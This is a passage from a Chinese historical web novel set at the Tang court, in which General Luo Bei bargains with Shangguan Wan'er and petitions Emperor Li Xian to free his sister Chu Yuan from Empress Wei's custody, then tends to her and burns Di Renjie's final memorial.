看向两人:“曹掌宝,我就在门外候着了。” 他退到门外的位置,替他们合上了门扉。 “王公子和你关系很好吧。”曹珍娘羡慕地看着门外的方向:“我和他在文会上见过四五次,每一次他都是那副恃才傲物, 目中无人的模样。点评文墨来,也是入木三分, 从不给那些学士、宰相们留面子的。但他在你面前,性格又这样好。” 洛北没有回答曹珍娘的问题,他只是用那双金色的眸子定定地望着珍娘的眼睛。 他在等一个回答。 曹珍娘自知这招没什么用处, 只得再度望向桌前的一块空地面:“褚姐姐是一个月之前被皇后的人带走的。我不知道她去了哪里,也不知道她现在是不是活着。” 洛北问:“皇后为什么这么做?因为褚郡君开罪了她?” “不是, 褚姐姐性格很谨慎,怎么会开罪皇后呢?” 曹珍娘用力地回想着自己听到过的只言片语,那些宫女们、近侍们私下议论的话 “好像是和五王的事情有关。五王的冤案是褚姐姐查明白,告诉陛下和皇后娘娘的。所以皇后娘娘就认为褚姐姐手上一定有什么女太后留下来的东西。在她带走褚姐姐之前,她已经好多次找褚姐姐问过了。” 洛北轻轻地、几不可闻地叹了口气,皇后是为了褚沅手中的那张“网”,那张自女皇时代就笼罩长安的消息网络: “可一位掌制诰的女官突然失踪,难道宫中就无人问起吗?上官昭容呢?太平公主呢?还有陛下呢?” 最后三个字他几乎是压在喉咙里说出来的,轻得像一阵风。即便如此,曹珍娘还是吓得花容失色,惊恐地望向外面。 王翰的影子还留在门上,门外除了他之外,再无一个人。 她轻轻地低下头,露出一个和褚沅之前别无二致的苦笑: “洛将军,你把我们看的太高了。褚姐姐说是掌制诰的女官,其实也就是个得意些的宫女罢了。皇后今日说她病了,明日就可以说她死了,宫苑深深,那么多的宫女、女官,今日死了一个,明日便会再有一个,又有谁会多管这个闲事,故意和皇后过不去?” 洛北的手已经紧紧地握在腰间那把陨铁唐刀的刀柄上,刀柄上冰冷的温度帮助他镇静了下来:“你为什么不来找我呢?倘若我早些知道” 若我早些知道,在我纵横捭阖,驰骋西域的时候,我的妹妹在宫中如履薄冰,小心翼翼。 若我早些知道,在我高官厚禄,服紫佩金的时候,我的妹妹在宫中下落不明,生死不知。 曹珍娘抬起眼睛直视着他,那双圆滚滚的眼眸中已经盈满了泪水:“不是我不想告诉将军,是是褚姐姐不让我和你说啊。” 洛北手中下意识地一用力,手掌上传来的痛楚把他拽回了现实。他几乎被震惊、愧疚和悲伤击溃,呆呆地望着曹珍娘:“你说什么?” 曹珍娘低下头,擦掉脸上的泪水: “褚姐姐被带走的时候,是初秋的一个清晨,天刚亮,我和她住在一处,听到外面吵吵闹闹的,我偷偷地扒开窗纸往外一看,外头都是皇后的人,还有披坚执锐的禁军卫士。我那个时候真害怕呀,就轻声把她喊醒了,问她到底出了什么事。” “她和我说,‘不要害怕,这件事情和你没有关系。你再睡一会儿,不打紧的。’就起来开始收拾东西。我看见她就拿了些衣裳,几件首饰,以为她就和之前一样,只是出宫去办些事情,很快就会回来的” 曹珍娘说着,又擦了擦眼泪:“但我看到了她拿那个笛子,就是你送给她的那个笛子,我就知道不对劲了。那个笛子早被安乐公主摔碎了,她为什么要把那个东西带出去呢?我就问她,‘怎么了,出了什么事’,可她什么都不肯和我说。我” 她的声音几乎都哽咽了,带着一点明显的哭腔。洛北几乎能听到自己的声音从空中飘过来:“然后呢?” “最后,最后我抓住她出门前的机会,问了她,我说:‘倘若洛公子回到长安,我要怎么和他交待呢?’” “她说:‘我没有什么要和洛公子说的了。就请他,多多保重吧。’” 洛北的嘴唇不住地颤抖起来,他几度想要说话,却什么都说不出来。可他的牙关咬得再紧,也没能阻止自己的眼泪从眼眶中流下来。 他不住地想,那个初秋的清晨里,褚沅一身宫装,如平常一样走出房门时,该是一种什么样的心情? 当她被珍娘叫住,回过头来的时候,又是以一种什么样的心情说出那句: “我没有什么要对他说的了,就请他多多保重吧。” 他失态如此,曹珍娘一时不知如何是好,便起身草草地道了个礼,一面擦着眼泪,一面向外跑去。 她一离开雅间,躲在屏风后的张孝嵩和裴伷先忍不住推开屏风,向外奔去。 他们走出几步,便停在了那里—— 他们那位泰山崩于前而色不改,胸有惊雷而面如平湖的挚友洛北,竟伏在案上,哀哀哭泣。 王翰送别曹珍娘,又给她塞了些冰块脂粉,让她遮遮泪痕,才回屋内。他打眼望去,几乎被这几人的模样吓傻了。 他吓得大气不敢出,只敢慢慢地移到洛北身边,拽了拽他的衣角:“洛将军出什么事了,你,你别吓我们,再大的事情,我们也可以商量的吗。” 张孝嵩这才算找到了一点理智,他从震惊之中回过神来,坐到洛北身侧:“是啊,将军我们都是共历过生死的人,现在再难,难道还比穿越茫茫大漠,翻过天山冰雪还要难吗?” 洛北本沉浸在自己的情绪之中,听到他们安慰,也知道自己失态。他直起身来,深深地叹了口气: “不一样,孝嵩。你可记得,相王的两位妻子皇嗣妃刘氏和德妃窦氏么?她们被人以诅咒女皇的名义诬告,朝见女皇之后,便再无踪迹。皇宫之大,竟无一人知道她们的下落。我只怕褚郡君如今也是一样的情况。” 王翰瞪大双眼:“宫中的人又不是草芥,怎么能这么随意就”他的后半句话在张孝嵩飞过来的一个眼神下讪讪停止:“洛公子也不要太伤心了,褚郡君吉人天相,一定能” 他似乎也觉得这安慰的话语太无力,只兀自躲在一边,沉默下来。 在一室死寂之中,裴伷先犹豫再三,最终还是下定了决心。他走了几步,来到洛北面前,跪坐在他身前,一字一顿地问: “公子,你要见太子殿下吗?” 洛北抬眼望向裴伷先的面容,那张面容上的神情他再熟悉不过,昔年他们在西域联手起家,遇到几个不长眼的西域胡商使绊子下黑手时,裴伷先脸上就是这样的神情。 那是一种亡命徒才会有的洒脱。 这是交心腹,托生死了——洛北闭上眼,吐出了一个字:“见。” “不过,在见太子殿下之前,我还想见一个人。” 他看向在一边的王翰,目光中似有期盼之意: “我想见上官昭容。” 那天深夜,洛北便如愿乘小船,登上了一只曲江上的画舫。画舫中丝竹管弦响彻一片,人人都在宴饮之中,几乎无人注意新来的客人。上官婉儿就立在二层的船头等他。 那里冷清清的,除了一片月光,就只有他们二人。 “我听王翰说,你要问我褚沅的事情?”上官婉儿看着他,“你是她的什么人,也敢到我面前来问?” 洛北没有直接回答上官婉儿的话,他从袖间摸出一只玉佩,拿在手中扔了几下:“我是想用一个人和上官昭容换褚郡君的下落。” “哦?什么人在我这里有这么大的面子?”上官婉儿笑道:“不可能是公主殿下或者太子殿下吧?那你也不必舍近求远了。” 洛北把那只玉佩递给上官婉儿:“崔湜。” “我拿崔湜的脑袋,来和你换褚郡君的下落。” 上官婉儿惊讶地张大了眼睛,她接过玉佩,上下仔细地打量了一下,确实在背后找到了她为崔湜篆刻的一行小字——这是崔湜离开长安之前,她送给崔湜的。当时崔湜答应她,要好好收藏,贴身佩戴。 她看看玉佩,又看看眼前这位年轻的将军:“你把崔郎怎么了?” 第143章 “不过就是矫诏杀人而已。武三思、崔湜都可以为之,我为何不能?” “他现在还好好的, 穿红着绿,每日去衙门点个卯,就四处游山玩水, 纵情声色, 甚至尚未发现他的玉佩被人拿走。不过,十五日之后,若我的卫队长尚未收到我的消息,就说不准了。” 上官婉儿不想他会用这样的手段,又气又急。她勉强急喘数下, 才从牙缝里挤出一句话:“肆意杀害大唐官员,你知道这是什么罪名吗?若我上告陛下,你以为你还能这样站着同我说话?!” “不过就是矫诏杀人而已。”洛北笑了一声, 语气平淡,就像是在说一件最普通最平常的小事:“武三思、崔湜都可以为之,我为何不能?” 上官婉儿那张美丽的面容一下子僵住了, 一股冷意顺着她的脊梁爬了上来: “是你——当年派人中途救走桓彦范、敬晖和袁恕己的人是你!” “我听说, 当年武三思、崔湜等听闻五王遇难,不可一世,高呼‘天诛’,自以以为得天相助。” 洛北轻轻笑了一声, 江面的月光照亮他金色的眼眸,照出一点冰冷的嘲弄意味: “天道轮回, 如今这‘天诛’降临到崔湜自己身上,我真想看看,那时候他脸上会有什么表情。” “你不能杀他!”上官婉儿惊叫了一声。声音一出, 她才发觉自己失态,伸手挽了挽鬓边的乱发, 将慌乱的神情掩饰过去,“褚沅是被皇后带走的,她的下落我现在也不知道。但我觉得,她现在还活着。” 洛北紧绷的神情微微松动了:“你说什么?” “皇后想从褚沅手上拿到女皇留下的信息网络,自然要她把桩桩件件事情都交代明白了才能让她去死。” 上官婉儿见他冷峻的神情微微松动,微微呼了口气,稳住胸膛里乱跳的心脏: “可是,大唐天下那么多的州县,那么多的人,没个两月功夫,是说不清楚,写不完的。所以我把我知道的都告诉你,怎么救她,我和你一起想。” 洛北颔首,把手从腰间的刀柄上微微放开了些,背到身后:“可以。” 上官婉儿有些僵硬地转过身子,同他一起看着江水滔滔: “其实,此事的起因,还是五王。” “当时敬晖等三人秘密回京,虽然他们语焉不详,可长安城里的人又不是傻子,都知道此事之后,必然有人相助。外朝里的那些人有一多半觉得是太子暗中布局,还有人觉得是狄公和张柬之算无遗策。可在宫里” “我们都觉得,此事定是褚沅的手笔。” 洛北默然不语,他现在明白为什么褚沅最后会说那句话了。 她要撇清关系,好把谋救五王的责任一肩扛了。这样,宫中与武三思过从甚密的安乐公主和韦皇后就不会再为了五王和武三思怀疑别人,也不会再为了此事发难了。 她是在保护他。 他的声音梗在喉咙中,什么也发不出来,只能低下眼眸,望着眼前的一片波光粼粼的江水。 上官婉儿察言观色,见他有所松动,语调也变得哀戚起来: “本来,我也侍奉过女皇,深知那种面子上铺得极广的消息网络,要传递情报还算合格。可要是不远万里,劫道救人,绝非褚沅力所能及之事。可她毕竟是在女皇的身前做过上阳宫正,还替女皇撰写了遗诏。我们怀疑女皇留了什么别的给她” “所以你们问都不问一句,就把她卖给了皇后,是吗?”洛北轻轻开口打断了她。 上官婉儿被他诘问得脸都发白了,她咬了咬嘴唇,道:“洛将军,你也不要逼人太甚了!当时那样的情况,就算我们问了她五王之事的原委,她会和我们说实话吗?” 她见洛北没有答话,说话的神情也骄傲起来: “就算她说了实话,那韦皇后和安乐公主就会一起来责问你。洛将军,说不定最后,你会披枷带锁地回到长安。到了那个时候,难道你不会恨她吗?难道你不会来问我,为什么要多余问那一句话?” 洛北打量了一下上官婉儿,她在用美妙的辞藻遮掩一个让他觉得触目惊心的事实——宫中的这些人选择褚沅来承担这个责任,只是因为,她是最好的人选。 他们不愿意让太子承担这个责任,让他荣膺保护臣下的功绩。更不愿意开罪朝中如日中天的李唐派大臣,把狄仁杰要成为神话的形象再镀一层金身。 所以他们选择了褚沅,比起和太子或是外朝的大臣开战,杀掉一个孤身在宫中的女官显然容易的多。 “我倒是希望,她能把责任都推到我的头上。”长久的沉默之后,洛北突然开口,语气里带着惆怅和悲伤的意味:“这样可以为我减少很多麻烦。” 如果被追责,被诬陷的是他洛北,那他至少还有背水一战,掀掉整个棋盘的力量。可偏偏是褚沅—— 上官婉儿不愿深究他话里的“麻烦”二字到底指的是什么,只是转头看了他一眼:“至于怎么救她,其实对你来说,有个非常简单的法子,只是看你愿不愿意去做。” 洛北自嘲似的笑了一下:“刀山火海,但凭上官昭容吩咐。” 上官婉儿笑了:“不用刀山火海,你只需要找个合适的机会,请陛下把她赐给你就好了。” “把她赐给我?”洛北一时没有明白上官婉儿的意思,“褚郡君是有品级爵位的女官,怎么能当货物一样赐来赏去的?” 上官婉儿摇了摇头:“你把她看的太高了。她要是真的像你想的那么重要,自她失踪的第一日,圣上就该主动垂问了。可是他什么都没有说,御前也有了新的女官来执掌制诰。” “想来那应当是皇后派来的人。”洛北说。 上官婉儿轻轻笑了:“是啊,所以他就更不会过问了。” 李显第一次当皇帝时,就因一句“我以天下于韦玄贞,有何不可?”被武则天废黜,如今他再度掌权,又没有了武则天的束缚,更是恨不得把一切都捧给皇后了。一个御前的女官,又算得了什么呢? 上官婉儿伸手理了理身上的披帛:“陛下的性格,就是爱之欲其生,恨之欲其死。如今你才救了他的性命,又是他最看重的禁军将领。只要你愿意开口,陛下一定会同意的。” 她顿了顿,狐疑地望向洛北:“除非,你不愿意?” 洛北没有立刻回答她,只望着江水。他想说这一切太不公平,他想问为什么这件事情会变成这样: 若在外朝,哪怕只是罢免一位执掌制诰的中书舍人,都会引起百官的群起抗辩,更不要说杀人了。可在宫中,哪怕他的妹妹有不亚于任何人的才能,要杀她或是要救她,都是如此轻而易举。 简单得像个笑话。 “我只是觉得,这件事情比我想象的容易太多。” 他躬身向上官婉儿道礼: “我没有什么不愿意的。褚郡君救我性命,如今她性命危在旦夕,我理应出手相救。多谢上官昭容。” 洛北带着一股决绝辞别而去,留下上官婉儿独立在船头望着他打马而去。她轻轻地吐出一口浊气,看了看手中的玉佩,伸手把它丢进了江水之中。 “多好的东西呀,怎么把它就这样丢了。”太平公主从一楼的船舱中轻轻袅袅地登了出来,站到上官婉儿身边,与她一道欣赏曲江的月色。 上官婉儿摇了摇头:“送的人都不在意,我留着它还有什么用。就这样丢了吧。”她低头看了看指甲上略有些掉色的丹蔻,伸手摸了摸,又拿宽大的衣袖将指尖遮住:“我对崔湜,也算是仁至义尽了。之后他能怎么样,就不是我能决定的了。” 太平公主笑了,她亲热地拉过上官婉儿的一条臂膀,笑道: “三条腿的蛤蟆不好找,两条腿的男人还不有的是。我刚刚在下头,见了几个朝廷新进的官员,都是一表人才,有几个生得比崔湜还要俊朗得多,你下去看看,看上了哪个,和我说一声就是了。” 上官婉儿暂时还没理会这些事情的心情,见她说的热络,便也点点头:“好啊,那我一会儿去看看。” “就是可惜了洛北,一个这样英俊又战功卓著的少年将军,竟把心思都放在了褚沅那个小丫头身上。她才二十岁,能懂什么呀。”太平公主用扇子掩着面,吃吃地笑起来。 她这玩笑一开,上官婉儿也笑了起来,半晌,似乎是想到什么似的,她摇了摇头:“不,依我看,他们两个人之间未必有什么男女私情。” “哦?”太平公主好奇地顿住步子:“真的?那他们能是什么关系?盟友?朋友?若是这样生疏的关系,竟能为对方做到这个程度,那也是很了不起了。” 上官婉儿也不敢断言,只得模糊着说:“难说,不过洛北生长边关,或许他不像长安城中的人那样心思深沉,愿意滴水之恩,涌泉相报呢?反正,我让他去求陛下,他的脸上一点欣喜都没有,反倒是很错愕,很震惊似的。” “七哥说,他只懂边事,不懂朝务。说不定他是从来没往这方面想过。”太平公主扶着上官婉儿往楼梯走去:“只是我本来照着褚沅的样子找了些美人要送给他,现在看来,是送不出手了。” “要以儿女私情拉拢他,看来是不容易的。”上官婉儿摇了摇头:“听说他为人持身极正,久在军中,又在西域,也没有什么歌姬舞女随行。他军中的将士要是和平民女子不清不楚的,都是要吃鞭子的。” “那还得再想想办法。他现在掌着禁军,又是魏元忠、郭元振的心腹爱将。”太平公主沉吟片刻,“拉了他过来,可比拉个宰相还要有用些。婉儿,你再想想,想想有什么能打动他的。” “是。”上官婉儿低头领命。 “咱们之间还搞得这样生疏。”太平公主笑了笑,拉着她进到船舱中那一片歌舞升平中去了。 第144章 “若陛下能满足微臣的请求,微臣愿以功勋和爵位相换。” 次日, 洛北回宫当值,李显传他入宫觐见。 天气更凉了,皇帝的寝宫里烧起了寸长的银炭, 没有一丝烟火气, 只有微微的暖意流动在宫廷之中。洛北在殿外脱了铠甲,交上刀剑,才被允许步入殿中。 李显到了年纪,已像任何一个养尊处优多年的中年人一样发福了。他靠在铺得好好的软榻上,一身明黄色的常服, 竟占了大半个软榻去。 两个宫女在一边缓缓地替他打着扇子,扇起一阵阵带着香气的风。洛北叩首在地,通报了一遍自己的姓名。 “是洛卿啊, 进来吧,不要拘礼。”李显露出点笑意,“自你上次给朕施过针, 朕觉得舒服多了。所以今天再召你来看看, 要是有个方子能一解朕的痛苦,朕厚赏你。” 洛北俯首道:“陛下,微臣医术粗浅,不敢诊断贵体。昨日是太医被阻在下头, 微臣不得已而为之。微臣回到府邸才觉得惊惶不安,还是去酒肆喝了两杯才止住心慌。” 李显哈哈大笑, 他听多了人们咬文嚼字的说话,乍一听洛北这种出身塞外的将军说话,顿时觉得真诚可慰, 他伸出一只手,笑道:“指挥千军万马的人, 胆子可不能这么小啊。 “陛下还是召李院判来吧。”洛北故作为难道。 李显笑道:“好,那就依你!召李院判来,你的方子,朕会让李院判看了再用。断的不对,就做一笑,断的对了,朕再赏你,如何?” “微臣叩谢圣恩。”洛北道。 李显道:“这有什么可谢的,朕用你,也不是为了治病啊。等到你从朕的手里接过斧钺的时候,再向朕道谢也不迟。” 由皇帝授以斧钺,是将军出征的仪式。他既然这样说,洛北便知道,皇帝依旧没有放弃北伐突厥的想法。 不一会儿,太医院的李院判匆匆赶到。他两眼青黑,显然昨日一晚未得好眠,生怕皇帝有个三长两短,这治疗不善的罪名就会落在他的头上——便是没有事儿,以他昨天的表现,降他一个“不守职务”的重罪,也是应当。 李显摆了摆手,免去了他的三拜九叩:“李院判,朕今日召洛将军来替朕请脉。不过他说,他才疏学浅,不敢诊断贵体。朕就请你来当个老师傅,替他把把关,如何呀?” 李院判一叩在地,知道昨天的事情已经揭了过去:“臣谢陛下天恩!既然陛下有旨如此,臣自当遵守。” 他暗暗地向洛北递去一个感激的眼神,洛北轻轻一笑,便好像什么都没有发生似的地低头立在一边。 有了院判在此,洛北便伸手扣住了皇帝的寸关尺,试探起他的脉息来。 即使贵为天子,这脉息断起来与凡夫俗子也并无不同。洛北一断而毕,提笔在纸上写下药方,又写了一段针方,才双手递给李院判:“请院判把关。” 李院判接过方子看了一眼,他打量打量皇帝,又看了看洛北:“陛下,洛将军这方子平和中正,确实是好药方啊。就是这针方,未免大胆了些。” 李显道:“朕明白了,既然如此,就用这大胆的针方试一试,如何?” “陛下,这”洛北和李院判都露出迟疑神色。 “朕可是天子,金口玉言,难道不能为自己的事情做主吗?”李显拍了拍床边,佯作怒态。 洛北只得向李院判借了金针,依照针方替皇帝施了针——他对自己的医术素来有自信,刚刚的诊脉,不过是加深了他的判断。皇帝若是节制些,少些宴饮,或许会头疼得少些。 “哎,确实是舒服多了。”李显靠在榻上,揉了揉自己的脑袋,“李院判,你照着洛卿的方子,命太医院煎了来喝。朕把朕的将军开出来的方子试上个十天半个月,看看疗效。若是真有疗效,朕就给他再封个国公。” “大唐有将才如此,是陛下之幸,大唐之幸啊。”李院判恭维道。 洛北敏锐地觉察到,这就是他要等待的那个机会。他叩首在地道:“微臣不要国公的爵位,微臣只想求陛下一件事。” “哦。”李显笑道:“洛卿啊,你已经是上柱国,是三品的大将军,又有郡公的爵位,将来,你父亲那个西突厥可汗的位置、郡王的爵位,也都是你的。你有什么事情,非得在这个时候相求呢?” 洛北道:“若陛下能满足微臣的请求,微臣愿以功勋和爵位相换。” “什么样大事,值得一个上柱国的功勋,一个郡公的爵位啊。”李显这下来了精神,他坐直身子,好奇地看向洛北:“你说。” 洛北轻轻吐了口气:“微臣请陛下赐阳翟郡君褚沅出宫。” 宫中一下子静默下来,连那两位打着扇子的宫女的手也顿了一顿。洛北只得叩首在地:“陛下” 李显见他诚惶诚恐,忍不住笑得更厉害了:“就这点事儿,也值得你拿爵位和功勋来换吗?可见是将军气短,儿女情长啊。” 洛北道:“褚郡君对微臣有救命之恩,昔年微臣受诬下狱,遍历酷刑,若非褚郡君悉心照料,微臣这条性命早就不在了,更不要说建功塞外了。所以微臣愿以爵位和功勋相换,望陛下成全。” “原来是患难恩情,那可就不一般了。”李显笑着摸了摸下巴的胡须,“朕这就下旨让褚沅出宫,也不要你的爵位和功勋。你要真想谢朕,那就等下一场大战的时候,拿敌人首领的脑袋来换,如何。” 洛北再度一叩在地:“微臣必不辜负陛下的期望。” 上官婉儿说的对,像洛北这样深受宠爱的外朝臣子,要救一个女官,确实只需要一句话的功夫。 消息传到内廷中时,已是下午。韦皇后从内侍那里听到消息,脸上勃然色变: “洛北,他不是一向除了边事,对朝务都不甚关注么?为什么他会平白无故地掺和进这件事情里来?” 安乐公主“哼”了一声:“一定是这两个狗男女之间有私情。我可听延秀说过,之前褚沅就为了洛北的事情求到他的门下母后,咱们告诉父皇,让他连褚沅带洛北一起杀了!” 韦皇后揉了揉太阳穴:“裹儿,朝事哪有你说得那么简单。如今陛下看重洛北,又连旨意都已下发了。你去告这个状,有什么用?陛下顶多觉得他们是小儿女之间的情感,觉得他们有趣罢了。” “那就这样让他们过去?母后,这褚沅那儿还有四个州县的东西没写出来呢。”安乐公主顿足一叹,“再说,咱们还有些内容,没有一一把人和事情都对上。褚沅出宫事小,要是让他们倒到那边,那边去” 韦皇后神情一动,她坐直身体,看向自己的女儿:“可是圣旨已经下了。” “是,我知道,母后您不愿在这样的小事上违逆父皇。”安乐公主凝神静思了一番:“要不,要不就把他们都赶出长安?让洛北回他的边塞去,去了西域,离长安有九万九千里之遥,便是倒去那边,也就不影响咱们什么了。” “赶出长安?”韦皇后起身踱了几步,“这个主意倒是出的好。洛北在禁军的声望太高了,我那几个娘家人是想插手也插不进去。正好,让他回安西都护府,把禁军首领的位置空出来。至于这个理由么” “母后只要和父皇开了口,父皇有什么不能答应的。”安乐公主凑到韦皇后身边,笑笑地道:“实在不行,就请上官昭容把圣旨写好了,我去请陛下下诏书。” 韦皇后点了点女儿的鼻子,轻轻笑了。李显极为疼爱这个女儿,好几次,安乐公主蒙着李显的眼睛,请他在空白的诏书上盖章,李显也笑呵呵地依着她的意思盖了。 “好,那就这么办。你派人,去把褚沅带过来。我要和她说几句话。” 安乐公主原本还在得意,听到韦皇后这样一说,艳若桃李的脸上第一次显出心虚:“母后,既然父皇已经下了明旨,我就去把她送到洛北的府邸里就是了,您何必还要再见她一下。” 韦皇后抬起头,仔细地端详了自己这个女儿脸上的表情,带着一点试探地说道:“她毕竟是得了你父皇的恩典放出宫的,我见见她,赐她些金银珠宝、绫罗绸缎,也是谢谢她把则天太后的信息网告诉我们。” 安乐公主低下头,略微有些为难地偎到韦皇后身边:“母后,这,还是让女儿去吧。我肯定,肯定找些好东西给她。” 韦皇后此时可不吃女儿这一套:“去,把她带来。” 安乐公主还要再撒娇卖痴,却见韦皇后眉头一挑。她知道自己这次无法蒙混过关,只得讪讪地出去了。 “婢子叩见皇后娘娘。” 韦皇后从一册书本中抬起头,看向褚沅的方向。有那么一个瞬间,她几乎没办法把眼前这个鬓发灰败,脸色惨白,连跪都跪不住的病弱女子同之前那位绯袍女官联系在一起。她下意识地向一边望去——安乐公主不在那里。 “快扶她起来,扶她起来。”韦皇后一面在心底暗骂自己的这个女儿做事太过任性,一面装点出一副着急模样,让侍婢把褚沅扶了起来:“褚沅,陛下恩旨,应右羽林大将军洛北之请,放你出宫了。” 褚沅错愕地抬起眼眸望着她,以为自己听错了:“谁?” “洛北将军啊。”皇后示意侍婢端给她一盏热茶,“哦,你还不知道,他荡平突骑施,击溃阿史那匍俱,平定西域有功,陛下不仅让他认祖归宗,恢复了他西突厥十姓可汗之子的身份,还赐他三品的官职和郡王的爵位。” 褚沅想要说什么,张口却是一串遮掩不住的呛咳,她一面轻拍着胸口,一面轻轻地咳嗽几声,好容易才缓过来:“洛将军向陛下请旨,放我出宫?” “是。”韦皇后笑道:“我听说,陛下一开始并不同意,可他愿以自己的功勋和爵位相换。见他心诚如此,陛下才欣然答应。哎呀,这样的福气,满宫里那么多的宫女,可不是什么人都能有啊。” “可是他我”褚沅一时不知怎么解释,她盯着韦皇后那张笑意盈盈的面容,只觉得眼前发昏,一切天旋地转,终于栽倒下去。 “来人!”韦皇后立刻站了起来,四周的宫婢和内侍一道去扶,好歹没让她真的摔倒在地上:“去传太医,还有,把裹儿也给我叫过来!” 第145章 “你是你自己,是褚家的女儿,是我的妹妹。不是棋子,不是筹码,也不是别人政治游戏的工具。你是个活生生的人啊。” “洛将军。” 已是深夜了, 洛北的住处中却突然来了客人。洛北披衣起身,正见到李院判披着斗篷,怀里揣着什么东西, 站在外头。 这夜星光很暗, 洛北挥了挥手,示意通报的副官退下去,自己与李院判互相道礼:“院判夤夜造访,可有什么要事?” “谈不上要事。”李院判黑漆漆的双目里透着一点疲惫,昨夜一夜担惊受怕, 今日又两次往返宫中,他已是上了岁数的人,经不起这样的折腾:“我来见洛将军, 是想来谢谢将军昨日当机立断,是你保住了老夫的这条命啊。” 洛北接住了他的这番客套:“李院判太过奖了。” “我想了想,家里也没有什么能报答的。就这两棵灵芝, 是我刚当上太医令的那一年, 别人送我的。”李院判把那只盒子递给他,“现在用,药效正好。” 洛北有些惊讶:“我无功受禄,实在不安。更何况我如今身康体健, 怕用不上如此名贵的药材,还是请李院判收回吧。” 李院判低下头:“这个药, 将军确实用不上。”他犹豫再三,还是叹了口气:“其实,我是想送给褚郡君的。” “院判见到她了?她还好吗?”洛北眼睛一亮, 连着问了两个问题才刹住车。 李院判简直不敢与他对视:“实话说,很不好。据脉象推断, 当是被幽囚在什么阴暗湿冷的地方太久,又缺衣少食,才会被折磨成那个样子将军也是精通岐黄的人,只要见了她那副病容,就能明白了。” 洛北眼中的光,一下子黯淡了下去。他用压低了的声音责怪自己:“是这样我这个阿兄,当的真是不称职啊” “将军说什么?”李院判没能听清他的话,也没能看到他脸上那种混杂着愧疚和后悔的表情。 “我说,多谢李院判。”洛北自他手中接过药盒,向他躬身道礼:“辛苦院判了。” 可即使已经有这样的预期,等洛北真的见到褚沅的时候,还是忍不住地痛心和自责。他几乎是半跪在褚沅身边,握着她干枯的手臂,低声道: “阿兄对不起你” 早知今日会变成这样,当年他离开长安的时候,就会不惜一切地把褚沅带走。 边塞就算是再苦寒,有亲人在身边,也算是家了。无论怎么样,都比留在那吃人的宫禁之中要好。 褚沅轻轻笑了,她笑起来的时候,依稀还能看到之前那个意气风发的女官的影子。她伸出手,用指尖轻轻抹掉了洛北不知何时滑出眼眶的泪水:“若无阿兄请到陛下降旨,我现在一定已经死了,阿兄,不是你的错。可是” 她轻轻叹了口气:“你不该救我。” 洛北不可置信地抬起头,几乎没能明白她这句话的意思:“沅儿,你说什么?!” “本来,太平公主和上官昭容已同皇后达成了新的平衡,皇后愿意放弃推举安乐公主为皇太女,也放弃追究武家之事,只要临朝摄政的权力。”褚沅苦笑道:“可是,你用圣上的一道圣旨,把其中最重要的筹码抽走了。平衡被打破,朝堂上又不知要迎来什么样的腥风血雨。” 洛北被震撼的说不出话来,在他颠沛流离,几起几落的半生之中,他也曾数度把自己当成筹码押上棋盘,可他从来不会像褚沅这样,心甘情愿地为了别人的筹谋去死—— 震惊过后,是一阵由衷的悲凉,洛北起身,用那双流金一样的琥珀色眼眸与褚沅对视:“我不知道你经历过什么才会这样想,但是,沅儿,听我说。” 他握着褚沅的手,极坚定,也是极缓慢地道: “你是你自己,是褚家的女儿,是我的妹妹。不是棋子,不是筹码,也不是别人政治游戏的工具。你是个活生生的人啊。” 褚沅的眼神一下子茫然了,她几乎是下意识地反驳洛北的话:“但在宫中,我们都要做有价值的人,我们” “你现在已经不在宫中了,沅儿。”洛北犹豫片刻,还是起身把她揽在了怀里,一遍一遍地抚摸着她的头发:“你现在在我的府邸当中,除非你想,否则那些大明宫中的阴谋诡计,尔虞我诈,都已经不再和你有关了。” “我向你保证,我会保护你的。”他放低了声音,像念咒语一般,柔声念了一遍又一遍。直到褚沅出声打断他:“可是” “可是什么?” 褚沅喃喃道:“可是我不知道离开了那里,我将来要怎么生活。” 洛北笑了:“你可以随着你自己的心意去生活。”他低下头,望着褚沅的眼睛:“你现在最想做的事情是什么?” 褚沅低下头,认真地想了一会儿:“我今天太累太困了,明日,我想多睡一会儿,不想鸡鸣时就起床了,可以吗?阿兄?” “不必问我可不可以。”洛北笑了,“只要随着你自己的心意去做。我这个当兄长的,只尽我应尽的职责。” 褚沅问:“比如什么?” “比如,你明天早上想要吃什么?我去买。” 话虽是这样说,可到了那一天的鸡鸣时分,褚沅还是醒了,她在床上辗转反侧了数次,却怎么也睡不着,干脆取过一件斗篷,披衣出户,去后院的花园里走走。 月亮还高高地挂在天上,天空是静谧的深蓝色,满院子的树木山石都呈现出一种清冷的质感。一切都是冷冷的,只有不远处的湖岸边,有温暖的火光一明一灭。 褚沅心下好奇,便蹑手蹑脚地朝那边走了过去,走近了才发现,洛北只穿着一件素净的单衣,长身而立。他手中拿着一本正在燃烧的奏折,烧完了的烟灰,正缓缓地往火盆中飘落。 “沅儿。”洛北久在军中,比褚沅想象的更早发现了她的踪迹,他招手示意她过来,替她紧了紧身上的外袍:“还病着,大半夜的不睡觉,跑出来来做什么?” “睡不着。”褚沅如实答他,“我在宫中过了二十年,已经习惯在这个时候起床了。阿兄呢,你在烧什么?” 洛北轻轻地叹了口气,目光悠远地望着湖的另外一边:“算是,我的过去吧?” “你的过去?” 洛北点了点头:“这是狄公生前所写的最后一道遗表。” “狄公?” “是啊,你还记得吗?我曾经和你说过,在我还是个孩子的时候,我曾蒙阿史那献将军嘱托,受过狄公一段时间的照拂。那个时候我的名字叫做‘狄彧’。” 洛北从袖中掏出那封信,递给褚沅,“后来我在边关和他失散,被突厥军队俘虏,几度磨难,才成了草原上的‘乌特特勤’。” 褚沅记得这段故事,她低头,借着明灭的火光读完了那封信,她被信中的殷殷嘱托深深打动了:“我还记得,当年一贯不信鬼神的狄公曾在白马寺里为‘狄彧’点长明灯祈福,还被女皇调侃。没想到” “我的医术,就是狄公教的。”洛北轻声道,“可他直到去世,也没能见到我平安从突厥归来。所以,他在死前写下这封遗表,代我向皇帝陈情,愿意承担隐瞒我罪臣之后身份的一切罪责,只求朝廷对我网开一面。” 红色的火焰已经烧到了开头的“罪臣狄仁杰叩首”六个字,洛北无法再将奏章拿在手中,只得把它整个丢在了火盆里: “这是世上最后能证明我是褚家子弟的东西,当年,还是张柬之张相公受狄公之托交给我的。现在张相公已经去世,这封奏章的灰烬我会一半投入水中,一半埋入泥土” 他说着,声音忽而一梗,他低下头,把狄仁杰写给他的那封信,也撕成碎片,抛入了火中。 “阿兄”褚沅扯了扯他的衣袖,“你可以哭出来的,不用,不用笑得这么难过。” 